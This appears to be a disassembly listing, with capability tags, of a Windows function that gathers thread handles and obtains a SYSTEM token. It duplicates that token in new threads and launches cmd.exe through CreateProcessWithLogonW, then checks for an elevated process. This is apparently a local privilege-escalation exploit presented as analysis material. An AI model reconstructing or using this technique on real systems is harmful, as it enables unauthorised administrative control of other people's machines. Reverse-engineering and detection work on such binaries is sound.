Function at 0x140001540
Capabilities:
Create process on windows
Create process suspended
Create thread
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x10], rax
xor r15d, r15d
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], r15
call fcn.140001f20
lea rcx, str.Gathering_thread_handles_n
mov qword [rbp - 0x78], rax
call fcn.1400011f0
mov esi, r15d
nop dword [rax + rax]
call fcn.140001250
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov dword [rbp - 0x80], eax
test eax, eax
je 0x1400018d2
mov r9, qword [rbp - 0x78]
mov r8, r9
mov rcx, qword [r9 + 8]
mov rdx, rcx
cmp byte [rcx + 0x19], r15b
jne 0x1400015ed
cmp dword [rdx + 0x20], eax
jae 0x1400015cb
mov rdx, qword [rdx + 0x10]
jmp 0x1400015d1
mov r8, rdx
mov rdx, qword [rdx]
cmp byte [rdx + 0x19], r15b
je 0x1400015c0
cmp r8, r9
je 0x1400015ed
cmp eax, dword [r8 + 0x20]
jb 0x1400015ed
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000164f
mov rbx, r9
cmp byte [rcx + 0x19], r15b
jne 0x14000160d
cmp dword [rcx + 0x20], eax
jae 0x140001601
mov rcx, qword [rcx + 0x10]
jmp 0x140001607
mov rbx, rcx
mov rcx, qword [rcx]
cmp byte [rcx + 0x19], r15b
je 0x1400015f6
cmp rbx, r9
je 0x140001617
cmp eax, dword [rbx + 0x20]
jae 0x14000164b
lea rax, [rbp - 0x80]
lea r8, [rbp - 0x68]
mov qword [rbp - 0x68], rax
lea rcx, [rbp - 0x78]
call fcn.140001fd0
mov r8, rbx
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x78]
lea r9, [rax + 0x20]
call fcn.140002030
mov rbx, qword [rsp + 0x60]
mov qword [rbx + 0x28], rdi
inc esi
cmp esi, 0x3e8
jl 0x140001590
mov rdx, qword [rbp - 0x70]
lea rcx, str.Done__got__zd_handles_n
call fcn.1400011f0
cmp qword [rbp - 0x70], r15
jbe 0x14000188b
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x140], r14
mov rcx, qword [rax]
mov rcx, qword [rcx + 0x28]
call fcn.140001400
mov rdx, rax
lea rcx, str.System_Token:__p_n
mov r14, rax
call fcn.1400011f0
mov rdi, qword [rbp - 0x78]
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000174f
mov ecx, 0x10
call fcn.140002904
mov rcx, qword [rbx + 0x28]
mov edx, 2
mov rsi, rax
mov qword [rax], rcx
lea r8, [rax + 8]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov r9, rsi
mov qword [rsp + 0x28], r15
lea r8, [0x140001500]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp byte [rbx + 0x19], r15b
jne 0x140001746
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], r15b
jne 0x14000171f
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], r15b
jne 0x140001746
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], r15b
je 0x140001711
jmp 0x140001746
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], r15b
jne 0x140001743
nop dword [rax]
cmp rbx, qword [rax + 0x10]
jne 0x140001743
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], r15b
je 0x140001730
mov rbx, rax
cmp rbx, rdi
jne 0x1400016b1
mov r14, qword [rsp + 0x140]
lea rbx, str.cmd.exe
nop
xor eax, eax
lea rcx, [rbp - 0x60]
xor edx, edx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
lea r8d, [rax + 0x68]
call fcn.140003df0
lea rax, [rsp + 0x68]
mov dword [rbp - 0x60], 0x68
mov qword [rsp + 0x50], rax
lea r8, str.test
lea rax, [rbp - 0x60]
mov r9d, 2
mov qword [rsp + 0x48], rax
lea rdx, str.test
mov qword [rsp + 0x40], r15
lea rcx, str.test
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x140001760
mov rcx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
mov edx, 0x2000000
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000186c
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x80]
mov r9d, 4
mov dword [rbp - 0x80], r15d
lea r8, [rbp - 0x68]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14000185d
cmp dword [rbp - 0x68], r15d
jne 0x14000184f
mov rcx, qword [rsp + 0x68]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001760
lea rcx, str.Created_elevated_process_n
call fcn.1400011f0
jmp 0x140001880
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Couldnt_get_token_elevation:__d_n
jmp 0x140001879
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Couldnt_open_process_token__d_n
mov edx, eax
call fcn.1400011f0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r8, qword [rbp - 0x78]
lea rdx, [rsp + 0x60]
mov r9, r8
lea rcx, [rbp - 0x78]
mov r8, qword [r8]
call fcn.140001900
mov rcx, qword [rbp - 0x78]
call fcn.140002940
xor eax, eax
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1400028e0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Handle_not_a_thread:__d_n
call fcn.1400011f0
mov ecx, 1
call fcn.140004aa8
int3